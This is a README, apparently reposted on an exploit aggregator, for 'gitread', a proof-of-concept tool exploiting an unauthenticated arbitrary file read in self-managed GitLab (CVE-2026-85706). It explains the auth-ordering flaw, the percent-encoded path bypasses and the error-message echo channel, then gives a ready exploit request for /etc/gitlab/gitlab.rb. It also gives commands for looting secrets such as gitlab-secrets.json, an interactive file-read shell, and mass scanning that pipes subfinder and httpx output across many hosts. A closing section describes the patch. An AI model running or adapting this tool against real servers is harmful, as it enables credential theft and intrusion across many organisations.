## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PLUR1BU5-GITREAD
# gitread
PoC for CVE-2026-85706, an unauthenticated arbitrary file read affecting self-managed GitLab CE/EE.
|
---|---
CVE| CVE-2026-85706
CVSS| 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
Affected| 18.7 to 19.1.7, 19.2.0 to 19.2.5, 19.3.0 to 19.3.1
Fixed| 19.1.8 / 19.2.6 / 19.3.2 (released 2026-09-10)
Component| Repository Commits API / Files API (Workhorse body-upload)
Reporter| s3ntago via GitLab HackerOne
## How it works
Three repository API endpoints sit behind Workhorse's `requestBodyUploader`:
root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT /api/v4/projects/:id/repository/files/:file_path
The Rails handler calls `File.open(params['file.path'])` **before** `authenticate!`. Four conditions make this exploitable:
**1\. Auth fires after the file read.** `require_gitlab_workhorse!` only checks the `Gitlab-Workhorse-Api-Request` JWT header. Workhorse stamps that header on every request it proxies, including plain passthroughs. The real `authenticate!` lives inside `authorize_push_to_branch!`, which runs after `file_params_from_body_upload` has already read the file off disk.
**2.`file.path` comes straight from the request.** `file_params_from_body_upload` reads `params['file.path']` as an absolute path with no validation. In the intended flow Workhorse writes the upload to a temp file and injects that param itself. An attacker just sends it directly as a query string parameter pointing anywhere on the filesystem.
**3\. Workhorse route matching never decodes percent-encoding.** Workhorse matches upload routes against `EscapedPath()`, the raw URL bytes as received. Puma decodes `%XX` sequences before routing to Grape. So encoding one character in a static segment causes Workhorse to skip its rewrite rule while Rails still routes to the vulnerable handler:
root@kitploit:~
POST /api/v4/projects/1/repository/commits/ (trailing slash)
POST /api/v4/projects/1/repository/%63ommits (c -> %63)
POST /api/v4/projects/1/%72epository/commits (r -> %72)
POST /api/v4/projects/1/repository/commits.json (Grape format suffix)
**4\. Rack echoes the file content back in the error response.** With `Content-Type: application/x-www-form-urlencoded`, the file content is handed to `Rack::Utils.parse_nested_query`. Any bare `%` not followed by two hex digits raises `InvalidParameterError: invalid %-encoding (<content>)`. Everything up to the first `&` in the file gets echoed in the 400 body.
Files with no bare `%` are still read pre-auth. The 401 response from the urlencoded branch and a 500 from the multipart branch both confirm the file exists and is readable by the git user, making them useful as an existence oracle.
**Exploit request:**
root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded
## Features
* `--file` reads any single file; falls through to the oracle automatically if there is no echo trigger
* `--loot` runs 36 targets across 7 tiers, ordered by confirmed echo-trigger probability
* `--oracle` runs a dual-branch probe (urlencoded + multipart) against no-echo files and tells you whether each one is readable, missing, or unreadable
* `--proc` enumerates `/proc/self/fd/0-31` to find open file descriptors, then reads standard `/proc` recon targets
* `--shell` drops into an interactive file-read shell with `cat`, `loot`, `oracle`, `project`, and `curl` commands
* `--pipe` reads targets from stdin and handles subfinder output, httpx text, httpx JSON, nuclei JSON, and raw host lines
## Install
root@kitploit:~
pip install requests
python3 gitread.py -h
Requires Python 3.10 or newer. No other dependencies.
## Usage
### Single target
root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080
### Pipeline
root@kitploit:~
subfinder -d corp.com -silent \
| httpx -silent -sc -td \
| python3 gitread.py --pipe --loot -o hits.jsonl
subfinder -d corp.com -silent \
| httpx -silent -json \
| python3 gitread.py --pipe --loot -q -o hits.jsonl
python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl
cat hosts.txt | python3 gitread.py --loot
stdin is detected automatically when it is not a TTY, so `--pipe` is optional in most cases.
### Shell
root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit
## Response verdicts
## Loot tiers
## Flags
Exit codes: `0` leak confirmed, `1` oracle only or no leaks in pipeline, `2` nothing found.
## Patch
Fixed in master commit `0d9ce3e7`, backported as `1fe30154` / `b43c8b26` / `0ff7b6b2`.
Three things were changed at the same time:
1. `authenticate!` was moved before `file_params_from_body_upload` in all three endpoints so the file is never read for an unauthenticated request
2. `file.path` is now only accepted from a typed `UploadedFile` object produced by the multipart middleware, which requires a valid Workhorse-signed JWT, not from a raw query string parameter
3. `InvalidParameterError` no longer interpolates `e.message` into the response body so the echo channel is closed even if someone found a way past the first two fixes
The bug was introduced in GitLab 18.7 (December 2025) when the body-upload variant of the commits API was added.
* * *
made with love by @plur1bu5 \-- if you find it useful, a star is appreciated